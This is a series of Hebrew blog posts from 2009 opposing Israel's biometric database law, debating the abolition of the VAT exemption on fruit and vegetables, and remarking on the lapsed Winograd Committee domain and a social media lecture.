א': " ראש הממשלה לשעבר, אהוד אולמרט שוכנע על ידי שטרית שזה ימנע זיוף זהויות וישפר את השירות לאזרח. "
ב': " זה נשמע טוב. "
א': " זה נשמע מצוין. אבל יש דרכים רבות אחרות לעשות זאת. אין צורך במאגר ביומטרי. ישנם אמצעים אחרים למניעת זיוף והרבה אמצעים לשיפור השירות. "
" עצם הקמתו של מאגר מידע גדול כל-כך, אשר יכיל את הפרטים הביומטריים של כל אזרחי המדינה – טביעת האצבע של כל אזרח וסריקת תווי הפנים שלו – מסוכן לכולנו. " עו"ד דן חי YNET
ב': " אז למה שטרית לוחץ שחוק המאגר הביומטרי יעבור עכשיו? "
א': " אני לא ממש יודע, אני יודע שהוא סגר עסקה על 270 מיליון שקל עם HP לפני חצי שנה, בזמן שהוא היה שר הפנים. HP הולכת לייצר תעודות זהות חכמות. "
"פרויקט מיחשוב מן הגדולים שנערכו בישראל, בהיקף 270 מיליון שקלים" The marker
ב': " זה נשמע מוזר ומסוכן, הרי אפשר לייצר תעודות זהות חכמות וקשות לזיוף בלי מאגר ביומטרי. "
א': " נכון. אפשר. אני רואה שאתה נעשה חכם. "
ב': " אז למה צריך מאגר ביומטרי? "
א': " לא צריך. צריך חברי כנסת אחראים שעושים את תפקידם בשירות לאזרח ודאגה לזכויות שלו לחיים, לפרנסה, לחינוך, לביטחון ולחופש פעולה, חופש תנועה וחופש מחשבה. "
ב': " אז מה עושים בקשר לזה? "
יוזמים כתבה ושואלים שאלות נוקבות, מביאים את המידע המלא לציבור.
פונים לחברי כנסת כדי לעצור את ההצבעה ביום ב' הקרוב. (רק היום יום ה' 23/07/09 אושרה הצעת החוק בוועדת המדע על ידי שיטרית לבדו וכבר ביום ב' תיהיה הצבעה בקריאה שנייה ושלישית במליאה?! איך חברי הכנסת יספיקו בכלל לעבור על החוק ולהבין את ההשלכות?
למה ישנו רצף דיונים כלכך מהיר שלא מאפשר למתנגדי החוק להגיב? מי גורם לזה ולמה? זה נראה כמו מחטף.
זאת פגיעה קשה בזכויות שלנו כאזרחים איך זה שלא נעשה דיון יסודי שמערב גם את וועדת החוקה?
למה חברי הכנסת שחברים בוועדה שאישרה את החוק לא היו נוכחים בה ומתפרסם שחלקים ניכרים מהחוק מאושרים ע"י שיטרית לבדו?
למה לא שאלו לדעתו של הציבור? ולמה לא נתנה לציבור אפשרות להגיב?
איפה כל חברי הכנסת!? הרי החוק הזה הוא בעל משמעות וחשיבות עליונה כמו השאלות הלאומיות החשובות ביותר איך זה שחבר כנסת אחד מריץ את העניין די לבדו בלי שחברי כנסת אחרים יהיו מעורבים כראוי? למה חברי הכנסת שותקים!?
רוב האזרחים לא יודעים על החוק או לא הבינו את המשמעות וההשלכות של החוק הזה על חייהם ואת העובדה שבעוד זמן קצר ניתן יהיה לעקוב אחריהם באמצעות מצלמות רחוב (בשילוב עם המאגר) ולדעת היכן הם היו ועם מי או לזהות את פניהם בהפגנות ועוד. והחוק מורץ בחיפזון מבלי לאפשר לחברי הכנסת והציבור להבין מה קורה כראוי להליך חקיקה תקין. זה מעורר תהיות!
בנוסף מתארגנת הפגנה ביום שבת הקרוב 25/07/09 ברחבת הסינימטק בת"א ב 19:00 פרסמו את זה ובואו לסקר!
נשמח אם תוכל לעזור ולזום כתבה בנושא שתעצור ותעכב את החוק עד לדיון ציבורי ראוי ומעמיק.
בבקשה על תניח שאחרים כבר עושים את העבודה אז לא צריך את עזרתך זה לא נכון! עזרתך נחוצה מאוד.
מצורף להלן מכתב פנייה לחברי כנסת שנכתב ע"י 'המרכז לעצירת חוק המאגר הביומטרי' ואשר בסופו ישנם קישורים המספקים מידע והסבר נוסף.
—————————————————————-
אולי שמעת על הצעת החוק הזו וייתכן כי תגובתך תהיה:
"הרי אתה מגזים", ואין פליאה בכך, רבים בעבר סברו
שהביקורת מוגזמת אך לא עוד.
חברי הכנסת מיכאל איתן ("זליגת מאגר ביומטרי גרועה
מאסון צ'רנוביל"), רובי ריבלין , דב חנין, ניצן הורוביץ
("מאגר כזה לא קיים במדינות אחרות בעולם החופשי"), חיים אורון
ואחרים, גם ממפלגתך אינם סבורים כך עוד וממליצים להפריד
בין הזיהוי הביומטרי למאגר הביומטרי. ההד התקשורתי לנושא
הולך ומתרחב.
הממ"מ, גוף המחקר והמידע של הכנסת בה אתה יושב הוציא דו"ח
(מחקר השואתי מתמצת בין מדינות שונות בעולם)הקובע כי את
הנזק שיכול ליצור המאגר הביומטרי אי אפשר יהיה לתקן אלא
לאחר שנות דור ושזיהוי ביומטרי אינו מחייב מאגר ביומטרי.
המטה ללוחמה בטרור סבור כי שירותי הביטחון יכולים לתפקד היטב
גם ללא המאגר ושבמאגר ביומטרי כשלעצמו טמונות סכנות רבות.
דו"ח מבקר המדינה מוכיח כי מדינת ישראל אינה ערוכה לטפל
במאגר מידע גדול, שלא לדבר על מאגר מידי ביומטרי המאפשר
הכלת אינסוף מידע אישי.
מומחים בעלי שם בתחום אבטחת המידע, הן כאלה המכהנים בחברות
מסחריות והן פרופסורים מכובדים מן האקדמיה בארץ ובעולם מנסים
בכל דרך למנוע את מעבר החוק הזה, ביניהם: מר ברוס שנייר,
דר' מיכאל בירנהק, מנכ"ל חברת "קומדע" זאב שטח, המדען הראשי של
חברת "אינוביה", מר מיכה שפיר ואחרים.
עורכי דין ובראשם לישכת עורכי הדין בישראל מתנגדים להצעת
החוק עוד מראשית דרכו.
ארגוני זכויות בעלי שם עולמי כאגודה לזכויות האזרח מובילים
בשנה האחרונות מהלכים שונים לביטול הגזירה.
המועצה להגנה על הפרטיות שבתוך משרד הפנים מביעה דאגה
חריפה לנוכח הצעת החוק.
אזרחים ישרי דרך, חסרי פניות מקימים אתר מידע המתנגד לחוק
המאגר הביומטרי.
אפנה את תשומת ליבך לכך שההתנגדות העזה אינה לזיהוי הביומטרי
אלא למאגר הביומטרי: המאגר מאפשר, בשילוב הטכנולוגיה הקיימת
כיום חדירה דמיונית כמעט לפרטיותו של אדם בנושאי ביטחון,
אישות וצרכנות אך לא רק.
אין צורך במאגר ביומטרי על מנת לאפשר זיהוי ביומטרי ואין צורך
בזיהוי ביומטרי על מנת להקשות על זיוף תעודות זהות ודרכונים.
נושא הזיהוי הביומטרי נדון במדינות אירופה במשך שנים ועדיין
לא הוכרע. בישראל עשוי הנושא להפוך לחוק ולמציאות ללא כל
דיון ציבורי ממצה בעניין.
אני משוכנע כי איני היחיד שכותב לך.
כנבחר ציבור, תפקידך להגן ולייצג נאמנה את ציבור בוחריך,
עשה משהו בימים הקרובים לפני שיהיה מאוחר מדי!
עיני הציבור נשואות אליך כשליחנו בכנסת ישראל!
למידע נוסף על החוק והסכנות הטמונות בו מומלץ לקרוא את המסמכים
הבאים ולבקר באתרים:
15.7.09פנייה לשר המשפטים – חקיקה מסוכנת בשיטת הפרטאצ' -
[acri-antibiometric.blogspot.com]
30.6.09 פניית האגודה לזכויות האזרח לקראת הדיון בועדת המדע
[acri-antibiometric.blogspot.com]
24.6.08 מכתב המועצה הציבורית להגנת הפרטיות
[pratiut.com.googlepages.com]
גופים המתנגדים לחוק וניתן לפנות אליהם בשאלות:
האגודה לזכויות האזרח בישראל
[acri-antibiometric.blogspot.com]
המרכז לעצירת חוק המאגר הביומטרי
[no2bio.org]
22:56 הקדשה: את הפוסט הזה כתבתי עבור כל אחד מחברי קבוצת הפייסבוק "אנחנו מתנגדים לביטול הפטור על המע"מ לירקות ופירות". כתבתי אותו כדי לכבד כל אחד ואחת מכם. ובעיקר בשביל ההזדמנות לקרוא את דעתכם על הסיפור שכולנו היינו שותפים לו.
הרקע:
לפני זמן מה נודע לי על הרעיון של ראש הממשלה והאוצר לבטל את הפטור על המעמ לירקות ופירות. לאחר קריאת כתבות בעיתון, שיחות עם אנשים ומחשבה על הנושא הגעתי למסקנה שמדובר ברעיון רע לבריאות הציבור. היות ואני מאמין בתקווה לשינוי חברתי דרך האינטרנט, החלטתי לנסות ולמצוא עוד אנשים אשר שותפים לדעתי ומתנגדים להטלת המע"מ על ירקות ופירות. קיוויתי שעל ידי שהאנשים המתנגדים (ואני בתוכם) נמצא האחד את השני, נוכל לשתף פעולה ואולי להטות את הכף כנגד היוזמה הממשלתית הזו.
מה עשיתי:
ואז מה קרה:
ואז פנה אלי א'. הוא כתב לי באריכות. דברים שאת חלקם לא יכולתי לפרסם ברשת. הוא נתן לי שורה (ארוכה) של טיעונים, מדוע המע"מ על הירקות והפירות לא יצליח להשפיע על מחירם לצרכן. לקחתי את טענותיו למול מספר אנשים שאני מכיר, הם לא הצליחו לשכנע אותי שהוא טועה. פירסמתי חלק מדבריו כאן וגם יותר באריכות כאן.
ולאחר שהרבה מאד מילים זרמו מתחת לבלוג, נשארתי בדעה שהטלת המע"מ על הירקות והפירות לא ישפיע על מחירם לצרכן (או ליתר דיוק: שלא נתנו לי טיעון מספק שיפריח את הטענה שהוא לא ישפיע על המחיר לצרכן).
הטעות ועונשה:
בשלב זה ביצעתי שגיאה ושיניתי את שם הקבוצה בפייסבוק מ"אנחנו מתנגדים לביטול המעמ" למשהו נוסח "אנחנו חושבים האם ביטול המעמ לירקות ופירות הוא טוב או לא". במקור שיניתי את שם הקבוצה מתוך תקווה לעודד דיון אבל בעיקר מתוך קונפליקט פנימי כן. זו הייתה שגיאה, לא ראוי היה לעשות כן. ובדיוק היום כשהבנתי את גודל השגיאה שלחתי הודעת התנצלות לכל חברי הקבוצה וכעת אני כותב את הפוסט הזה – בבקשת מחילה ובבקשת עצה.
הדילמה שלי (העצה שלכם?)
הקונפליקט שלי הוא שהיום אני מוצא את עצמי בראש פירמדה של למעלה מ- 1500 אנשים שבמקור הסכמתי עם דעתם ופתאום עכשיו אני מגלה שלא כך.
ועל אף השוני, אני רוצה להדגיש כאן את הדמיון בין חברי הקבוצה לביני – אני בטוח שב- 97% מהנושאים אני ואנשי הקבוצה של "המתנגדים למעמ על ירקות ופירות" מסכימים! אני בטוח שמדובר, כמוני, באנשים שאיכפת להם מאחרים, שאיכפת להם מאיך שהמדינה נראית, שאיכפת להם מהבריאות של עצמם ושל חבריהם. אנשים שרוצים לראות חשיבה לטווח ארוך בהנהגה שלנו (אוקסימורון ידוע בדמוקרטיות). אני בטוח שגם רוב האנשים הללו אוהבים (כמוני) חתולים והיו רוצים לראות איכות סביבה גבוהה וחינוך מושקע. באמת אנשים שהייתי רוצה לדבר ולהכיר אותם על כוס שייק פירות או להיפגש אחרי הרצאה מעניינת. אני באמת מאמין שיש לי הרבה במשותף עם ה- 1500 איש הללו בקבוצה.
ובגלל שיש לי כל כך הרבה במשותף עם האנשים הללו, בגלל זה מצבי אף יותר מאתגר. כי למרות שאני מסכים עם האנשים הללו בכל כך הרבה עדיין ישנו דבר אחד שאני חולק עליהם – אני שיניתי את דעתי והחלטתי שייתכן והמע"מ על הירקות והפירות היה יכול להיות רעיון טוב (או לכל הפחות, שאני לא משוכנע שיש למנוע אותו) וכל שאר אותם אנשים לא שינו את דעתם בכך. לצורך הדיון בפוסט הנוכחי זה לא משנה האם ה- 1500 איש הללו צודקים בדעתם או אני. כי זה מחוץ לנקודה, כל אחד מאיתנו זכאי לדעתו וגם לשנות את דעתו.
אבל בניגוד ל- 1500 איש הללו על כתפי מונחת האחריות של לעשות משהו עם דעותיהם ואמונותיהם. האחריות עלי כי אני רתמתי את עצמי וכי הם קיבלו אותי כאדם שהם נותנים לו לדבר אליהם מתוך רצון לעשות משהו בנידון. והנה מצאתי את עצמי בראש (לפחות בחזית האינטרנטית) של מאבק שאינני מאמין בו יותר.
ואני שואל אתכם, ידידי, אילו אתם הייתם במקומי מה אתם הייתם עושים עכשיו?
22:21 עדיין לא הצלחתי להחליט האם הסיפור הזה יותר מצחיק או עצוב. כרגע אני נוטה לכיוון של מצחיק. והרי הטקסט המסביר:
גולשים יקרים, האתר שלפניכם היה האתר הרשמי של ועדת וינוגרד – ועדת החקירה לבדיקת מלחמת לבנון השנייה, אך במהלך חודש יולי 2009 כתובת הדומיין פקעה.. מישהו במדינת ישראל לא טרח לשלם 80 שקלים בעבור חידוש כתובת הדומיין.
כעת אנו רכשנו את כתובת האתר החשוב הזה, בתמורה למחיר הפעוט הנ"ל. גם אתם, לו רציתם, הייתם יכולים לקנות את האתר – כל אחד יכול.
מדינת ישראל מפקירה את נכסיה הדיגיטליים. גם את המאגר הביומטרי שמדינת ישראל מבקשת לבנות בימים אלה, נוכל לקנות יום אחד תמורת 80 שקלים. כשזה יקרה, חיינו יהפכו לגיהנום.
מוגש כחומר למחשבה מטעם המרכז לעצירת חוק המאגר הביומטרי WWW.NO2BIO.ORG
הנה הלינק לאתר של וועדת וינוגרד אשר אומץ על ידי מתנגדי המאגר הביומטרי.
מעבר לפאשלה שנתגלתה פה (שלמזלנו לא הייתה כל כך נוראה, דמיינו שחיזבאלה היו קונים את הדומיין הזה – איזה בושות זה היה עושה לנו), הרי שההפקרות של האתר עושה רושם שמסמלת מגמה כללית של שימוש "קר" באינטרנט על ידי הפוליטיקאים בארץ. הנטישה של אתר חשוב (גם אם מאד לא מושקע מבחינה טכנולוגית/עיצובית), כמו זה של וועדת וינוגרד עומד על רקע כתבתה של ד"ר קרין ברזילאי-נהון על עתיד הפוליטיקה ברשת , כתבה מושקעת ומעניינת אשר כוללת התייחסות יפה לאיך פוליטיקאים במערכת הבחירות האחרונה ניסו להגיעו לאנשים דרך האינטרנט, אך לאחר תום תקופת הבחירות הזניחו את נוכחותם האינטרנטית (כמעט) לחלוטין.
ההפקרות של חלק מהפוליטיקאים במרחב הווירטואלי הוא ההזדמנות של האחרים להרים את הכפפה. אובמה הצליח איפה שמקיין נכשל, אני מחכה לראות מי בארץ באמת יבין שבמהות המילים "מדיה-החברתית" נמצאת לא רק המילה "מדיה" אלא גם המילה "חברות".
מי שאני מאמין שהולך לגלות את המחיר הזה לעומקו בבחירות הקרובות הוא מאיר שיטרית אשר חיבר את שמו עם המאגר הביומטרי. הציבור אולי ישכח, אבל גוגל ישכח פחות. אני מחכה לראות את הפוליטיקאי שיכתוב בקמפיין שלו "מאיר שיטרית לא מתעניין בפרטיות האזרח. לא מאמינים לנו? תחפשו אותו בגוגל"
0:47 אני בטוח שכל אחד מקוראי כאן נתקל במושג "מדיה חברתית" בעבר. עם חלקכם אני מצ'וטט דרך קבע בטוויטר ופייסבוק ואת חלקכם אף גיליתי במקור דרך האינטרנט. אך לא כולנו משתמשים כל כך פעילים באפשרויות שהאינטרנט מציע לנו. ואחת הסיבות לחוסר המימוש המלא יכולה לנבוע מזה שאנו מחכים למישהו שיבוא ויקח אותנו ביד צעד צעד לתוך העולם החדש הזה של "הרשת החברתית". אחד המלאכים שיוכל לסייע במלאכתכם הוא אייל סלע.
את אייל הכרתי (או למעשה, הוא מצא אותי) דרך האינטרנט. אייל הוא יצור רשת פעיל, אדם רהוט בעל מודעות והבנת-אינטרנט מהמפותחות שנתקלתי בהן. ובכנס איגוד האינטרנט הישראלי שהתקיים השבוע, הוא העביר הרצאה בנושא "יישומים פרקטיים של מדיה חברתית", שמציגה (כשמה כן היא) על הדרכים המגוונות בהן אייל משתמש ברשת.
סקרנים?
באפשרותכם לראות את המצגת שבה אייל השתמש כאן:
ואם אתם רוצים לשריין 40 דקות, באפשרותכם גם לצפות בהרצאה המלאה כאן:
Social media in day to day life – Eyal Sela – 15 July 2009 [Hebrew] from Eyal Sela on Vimeo.
לינקים מומלצים: הבלוג של אייל על פרודוקטיביות: [www.productivewise.com]
20:09 רק אחרי שראיתי את הסרטון שלפניכם הבנתי עד כמה נורא יהיה דליפה של המאגר הביומטרי:
רוצים לקרוא עוד? הנה מה שאחי כתב על מאיר שטרית וחוק המאגר הביומטרי
0:16 התנצלות קצרה:
קשה לגבש דעה בנושא כלכלי רציני, ולאחר שאחת מתגבשת גם קשה לשנות אותה.
ואת שניהם קשה לבצע כשאמורים לטוס לצרפת לכנס חשוב בנושא R ולהעביר שם הרצאה על שיטה בחירת מודלים ברגרסיה (נושא מרתק, אגב, ברגע שנכנסים אליו. ראוי שאכתוב עליו מתישהו בבלוג הסטטיסטיקה שלי).
ועם זאת, אני מוכרח להודות שעל אף ההשקעה שזה דורש – זה מאד מעניין!
כל ההקדמה הזו הייתה כדי להתנצל על כך שלקח לי שבועיים לפרסם את הפוסט הזה – אז סליחה בפני כולכם.
אז הנה תזכורת קצרה: לפני שבועיים פרסמתי פוסט של התדיינות בין שני חובבי כלכלה (בלשון המעטה), מר א' ומר ש' – אשר התווכחו בעד וכנגד הטלת המע"מ על ירקות ופירות. כפי שציינתי בפוסט, ההתכתבות שלי במייל עם א' (שרובה לא פורסמה בבלוג), הובילה אותי לשנות את דעתי המקורית ביחס להטלת המע"מ על ירקות ופירות ולהחליט לעצור (לפחות מהצד שלי) את המאבק שהתחלתי כנגד הטלת המע"מ.
אם לסכם את הסיבה שלי בקצרה: מר א' שיכנע אותי בניסיון הרב שלו בתחום והביא טיעונים אשר הובילו אותי להאמין בטענה שלו לפיה הטלת המע"מ על ירקות ופירות לא צפויה להעלות במיוחד (אם בכלל) את מחירי הפירות והירקות לצרכן הסופי.
אז אני השתכנעתי, אבל הרבה מהקוראים לא. בפוסט שבו הצגתי את שינוי העמדה שלי בפעם הראשונה, הפוסט זכה ל- 50 תגובות (מספר שיא בבלוג הזה, מלבד הפוסט הנודע לשימצה על פייס-בוק).
ועל כן אני מרגיש מחוייבות (וגם הקלה מסויימת) בלפרסם את הפוסט הזה שמציג:
אני אתחיל דווקא מדברי הסיכום של א' לדבריו, ואת השאר תוכלו לקרוא בתוך הפוסט:
אני חושב שכל החומר ששלחתי אמור לשכנע.
רוב אלה שהגיבו , אינם באמת מבינים ותגובתם מגיע מתחושה ומאינטואיציה ולא מידע .
תראה כמה פסלו את העובדה שלימון הוא אינו במוצר בסיסי – ולכך הבאתי אף מכתב ממשרד החקלאות – על כך שצריכת הלימון בארץ שואפת לאפס.
בעיקרון ולסיכום : כל עוד יהיו עודפי תוצרת כ"כ גדולים והמחיר בחו"ל לק"ג תוצרת חקלאית יהיה כ"כ משמעותי יותר גבוה מהארץ , 15% מע"מ זה לא מספיק להעלות את המחיר בארץ.
המחיר בארץ לא משפיע על עקומת ההיצע והביקוש – כי המחיר בחו"ל גבוה משמעותית מהמחיר בארץ ואת זה כן לומדים בכלכלה.
בנוסף לזה , כמו שכבר רשמתי , פרות וירקות בארץ הם מוצרי לוסט לידר מובהקים , ולכן 8 המוצרים המובילים , שכפי שהוכחתי – במכתב ממשרד החקלאות , הם רב סל הפרות והירקות – תמיד ימכרו בזול – ללא קשר לעלות .
בארץ, רב התוצרת החקלאית שמגיעה לרשתות , זה בעצם פסילות יצוא ועודפים , מה שהרבה פעמים מתנגש עם עניין הבריאות , כי אלפי טונות נפסלים בגלל ריסוס יתר ואיכות פרי ירודה מאד – ולרב זה מה שהציבור אוכל.
נתחיל במכתבו של שי זיו, אשר כתב באריכות כנגד דבריו של א' (ובכתב מודגש התגובות שלי לדבריו של שי זיו):
טל שלום,
ברצוני להסב את תשומת לבך לקשת עמדה הכלכליות הקיומות.
כמו שקיימות מגוון דעות מדיניות משאל ועד הימין כך קיימות מגוון דעות כלכליות מסוציאליזים ועד הניאו-ליברליזים (שוק פרטי בכל מחיר).האם המדינות האנגלו-סקסיות מוצלחות יותר ממדינות סקנדינביה? (טל: הדעות בנושא המדיניות הכלכלית האופטימלית הן במקרים רבים, בעיני, דיונים אידיאולוגיים שמתקשים להתבסס על מידע עובדתי. בדיוק היום הקשבתי לשיחה ב- econtalk.org שבה המנחה טען כיצד הוא מעולם לא זוכר כלכלן ששינה את דעתו האידיאולוגית-כלכלית על בסיס של מידע אמפירי.)
לגבי הטענות של א'
"ההון השחור בענף הירקות הוא עצום"
במדינה נאורה, טיפול בעברות על חוקי המדינה מוטל על ביתי המשפט.
איך התערבות ממשלה תטפל בנושאים שבסמכות בית המשפט? (טל: ממה שהבנתי מא' יש סיבה מעניינת למדוע זה חשוב. הסיבה היא שעבירה על חוקי המע"מ הן פשע פלילי אשר יכול להוביל לריצוי זמן מעצר. מדובר במשרד ממשלתי משומן ואכזרי למדי בגבייה. כאשר מס הכנסה, לעומתו, איננו עבירה פלילית (אתם מוזמנים לתקן ולדייק את מה שאני אומר, למי שיש נתונים אחרים), ועל כן היכולת שלו לבצע גבייה וענישה מוגבלת יותר. או במילים אחרות – ההון השחור צפוי לספוג פגיעה עקב הכנסה של גוף ממשלתי רגולטורי נוסף למשחק. ורק כדי להמחיש עד כמה הנקודה הזו חשובה, באופן רטורי לחלוטין, אני רוצה לציין שאחת הסיבות היותר טובות ששמעתי למדוע אובמה לא איפשר פשיטת רגל של שורה של בנקים הייתה בגלל שלא היה לו את כוח האדם להתמודד עם פירוק של בנקים בסדרי הגודל שהגיעו לפשיטת רגל. או במילים אחרות – כוח אדם רגולטורי הוא משאב מוגבל שאין לזלזל בצורך לנתב אותו בתבונה)"הלבנת ההון בהרבה מאד מקרים מממנת פעולות טרור כנגד מדינת ישראל"
יש כאן הוצאת דיבה, אתה יכול להוכיח את הקונספירציה? (טל: אני בטוח שאנשים שמלבינים הון הם האחרונים שמתעניינים בזה שגם מוציעים את דיבתם. כך או אחרת, הטיעון לא מעניין אותי מספיק כדי לחקור לעומקו. אולי זה נכון ואולי לא, זה פחות מעניין בעיני)ערבים= פיגועים?!
מוצר ציבורי = הרס המשק?!טל, איפה ההגיון שלך? הערכתי אותך כבחור ביקורתי הרבה יותר. (טל: אני מבקש שתפריד בין ההצגה שלי של מה שאנשים אמרו, לבין מה שאתה חושב ששיכנע אותי
"מהבעלים של החברות הגדולות העוסקות בהפצת פרות וירקות"
אכן, אם איני טועה נוחי דנקנר הוא הבעלים של מספר רשתות שיווק גדולות, כגון: שופרסל"מצד שני ברשתות היקרות – הריווחיות גדולה מאד – וללא פרופרציה – עד כדי חשד להפקעת מחיר".
נכון מאוד, אם לנוחי דנקנר יש קרטל על רשתות השיווק נדרשת התערבות ממשלתית, ברם לא בדמות מיסוי כי כל עלות המס תיפול על הצרכן. (טל: הפואנטה כאן איננה שהמיסוי ישפר את המצב, אלא שהוא לא ירע אותו, היות והמחיר בין כה לא משקף את מצב השוק)
אבל שוב עיין ערך ניאו-ליברליזים ותבין שאין קשר בין הפרטה להטבה עם הציבור, אלא עם בעלי הון בלבד. (טל: מה שכתבת כאן גדול עלי, ברשותך נעזוב אותו לכרגע)"כל מי שלמד כלכלה בסיסית , יודע שתוספת המע"מ לא תשנה את מדיניות המחירים של פרות וירקות לצרכן"
כל מי שלומד כלכלה בסיסית יודע שכלכלה בסיסית לא עובדת במצב של קרטל.
שם צריך רגולציה חזקה. (טל: אמת, אבל הטיעון שהמע"מ לא ישפיע עדיין מחזיק)החקלאים בארץ מקבלים סיוע מוגזם מהממשלה
אמת, בוא נקצץ בסובסידיות. (טל: אני מסכים, וגם מסכים שזה לא קשור)
את המיסים החקלאים יגלגלו על הציבור, ולכן הם אינם אפקטיבים.סעיף 5 הוא דמגוגיה, הרי לא תחזור לב"ש לקנות בקבוק מים מינרלים.
גם אם היה מעם הייתה משלם 12 שח+ מע"מ ושותק כי הבררה היחידה שיש לך היא להביא מים מנרלים מהבית.
אולם אם היה מחיר מקסימום אפקטיבי, לדוגמא 9 שח, הייתה משלם את מחיר המקסימום ולא אגורה אחת יותר. (טל: אני דווקא לא חושב שזו דמגוגיה. זו דוגמא לגיטימית למצב שבו פטור ממע"מ לא מסייע כנגד מחיר שנקבע על ידי כוחות השוק)סעיף 6 דמגוגיה גם כן. שופכים מים לחקלאות בגלל סובסידיות מוגזמות ולא בגלל חוסר במס.
אם הסובסידיה היא הבעיה בוא נפתור אותה. עם סובסידיה כזאת גם אן יהיה מס החקלאים ימשיכו לייצא לאירופה את תוצרתם. (מסכים שזה לא קשור. לקרוא לזה דמגוגיה זה להניח את מטרת הכותב, ובזה איננו מסכימים)סעיף 7, זה כבר איבוד שפיות!
אם ארה"ב לא גובה מס שעלות גבייתו עולה על הסכום שמשולם, למה אנחנו צריכים להיות צקידים (טיפשים) יותר מהאפיפיור שהרי כל המודל של הניאו ליברלים הוא ארה"ב. (טל: אני לא מצליח לראות את הקשר בין מה שכתבת לסעיף 7. הוא בסך הכל סתר את הטיעון שיהיה קשה לגבות באמירה שזה יהיה משתלם כספית ועל כן יקרה)סעיף 8, הפטור ממע"מ על ירקות נובע ממאינטרסים אישיים ותמיד כלכליים. כך גם האינטרסים האישיים על ביטול הפטור.
אך אם יש מע"מ הוא צריך להיות על כל המוצרים.
שטויות במיץ עגבניות, מטרת המס היא לממן את תקציב הממשלה. (טל: עד כמה אתה בקיא בפוליטיקה מבפנים שאתה טוען שזה שטויות במיץ ?)
כל עוד המס מממן את הוצאות הממשלה אין לערך הפטורים בסוגייה.
יש לפטורים ולסוג המס השפעה חיצונית על אוכלוסיות ומגזרים במדינה וזאת שאלה של שיוויוניות מול צמיחה.
אני באופן אישי מעדיף את השיוויוניות של מדינות סקנדינביה על פני הצמיחה של איסלנד ואירלנד. (טל: אני חושב שהמערכת הממשלתית שלנו מורכבת מעוד שיקולים מלבד שיקולי המדיניות שהצגת)בנוגע לאמינותו של ש'
ג. לשאלתך, למדתי כלכלה באוניברסיטת בר-אילן. אותי לימדו שכאשר מטילים מס על מוצר זה שווה ערך להגבהת עקומת ההיצע, כך שנקודת המפגש שלה עם עקומת הביקוש מתקרבת לציר ה-Y. בשוק שבו הביקוש גמיש, הוצאות הצרכנים יגדלו והיקף הצריכה ירד. בשוק שבו הביקוש קשיח היקף הצריכה לא ישתנה, אבל הוצאות הצרכנים יגדלו עוד יותר. בכל מקרה, הצרכן הוא זה שיספוג את עלות המס. (טל: מה שאתה מתאר פה זה מודל פשטני. המקרה של מעמ מורכב מסל של מוצרים, אילו המחיר היה מושפע אז הצריכה הייתה נעה מסל מוצרים מסויים לאחר. ובאופן כללי, לא ברור באמת איך המיסוי היה משפיע על הצריכה זה סוגיה נחקרת ומאד לא ברורה אמפירית. כך או אחרת, אתה מניח שהמחירים של המוצרים באיזון ואז מטילים עליהם מס. הנקודה לגבי הירקות והפירות שהם מוצר בורסאי שסופג תנודות במחיר על בסיס של שעות ומורכב מהמון גורמים. להניח שכל הגורמים הללו יספגו את המס באופן (אפילו ממוצע) דומה, זו הנחה מאד חזקה שלא הייתי מזדרז להניח)
אכן ש' מראה בקיעות בפרטים הכי קטנים של מיקו כלכלה.
עם כל הנתונים היפים שיש לא' אני לא מוצא שום כלום בין טענותיו לבין כלכלה.
1. עבריינות צריך לטפל בביתי המשפט.
2. קרטל צריך לטפל באמצעות רגולציה.
3. כשל שוק שנובע מסובסידיות גבוהות מידי צריך לטפל על ידי ביטול הסובסידיה.
4. על מי יפלו ההוצאות, ראה גמישויות, ש' הסביר על שני מצבי הקיצון של עקומת הביקוש. (אני עוצר כאן בלהגיב ונותן לא' את הבמהבברכה,
שי זיו
שי, אחרי כל שכתבתי אני רוצה להדגיש שאני מעריך את ההשקעה שלך במחשבה ודיון ושכל מה שיש לי לומר הוא ברמה העניינית בלבד. ברמה האישית, אני מודה לך על ההשקעה.
עכשיו נעבור לכמה דברים שא' שלח לי. אני לא מכניס אותם ל"גרשיים", כדי להקל על הקריאה. מכאן והלאה אלו דבריו של א':
עוד מהמכתבים של א'
הי טל , בגלל החשדות שנוצרו לגבי האמינות , ניצלתי את קשרי והבאתי לך נתונים "חיים" ממשרד החקלאות.
דרך אגב – אם חשוב לך , אתה יכול לאמת אותם מול משרד החקלאות.
קובץ מס' 1:
הבאתי לך נתונים ממשרד החקלאות , לחודש אפריל , בחרתי בחודש אפריל כי הוא קרוב אלינו בזמן , ואין בו ספקולציות של משרד החקלאות , שלהם יש אינטרס שהפרות והירקות יהיו ללא מע"מ .
העליה היא עלייה ממוצעת של 68% במחירים !!! מול חודש אפריל בשנה קודמת.
עגבניה , מהווה כ12% מסל הפרות והירקות הכללי , בנתוני חודש אפריל – מחיר סיטונאי של עגבניה הוא 7.12 ₪ , לעומת כ 3 ₪ באפריל 2007.
הבאתי לך מחירי מדף , מתוך Z של חנויות מובילות ברשתות המזון ,
המחיר הוא מחיר ממוצע לק"ג עגבניה , ברשתות , לתוצרת מובחרת , בחודש אפריל 2008 , בו כאמור מחיר הקניה של הרשתות עמד על 7.12 ₪ לק"ג.
רשת רמי לוי : 1.49 ₪ לק"ג עגבניה.
טיב טעם : 6.99 ₪ לק"ג עגבניה.
רשת ויקטורי : 1.99 ₪ לק"ג עגבניה.
רשת מסני השוק בדרום : 1.99 ₪ לק"ג עגבניה.
רשת חצי חינם : 2.99 ₪ לק"ג עגבניה.
עלות העגבניה עלתה ב108% לעומת חודש מקביל בשנה קודמת .
האם הרגשת את זה במחירים בסופר מרקט ???
לפני ההגיון הכלכלי של היצע וביקוש של ש', מחירי העגבניות היו צריכים לעבור את ה20 ₪ לק"ג.
כך לפחות היה קורה בכל מוצר רגיל אחר בשוק .
לכן , אדם שלא מבין בפרות וירקות – לא מבין למה עליה של 15.5% מע"מ , לא תעלה את המחיר.
הבאתי בכוונה דוגמא קיצונית מאד של עליה במחיר , בכדי שתבין למה התכוונתי.
דרך אגב , כל הפרות והירקות בחודש אפריל , מראים את אותה המגמה.
ניהול מדף הפרות והירקות בארץ , שונה מכל ניהול אחר שאתה מכיר .
בענף הפרות והירקות , מתעלמים תמיד ממחיר הקניה , וכשמתמחרים מוצר במדף , השאלה היא תמיד !!! כמה הלקוח ירצה לשלם – ויהיה מרוצה ויחשוב שקנה בזול.
ביקשתי ממשרד החקלאות נתון לגבי הצריכה הנורמטיבית בחודש ממוצע בארץ ל80% מהסל הכללי
והנה הנתונים . (דרך אגב , אין שם "לימון" וגם אם הייתי מבקש 99% מהסל – לא היה שם לימון)
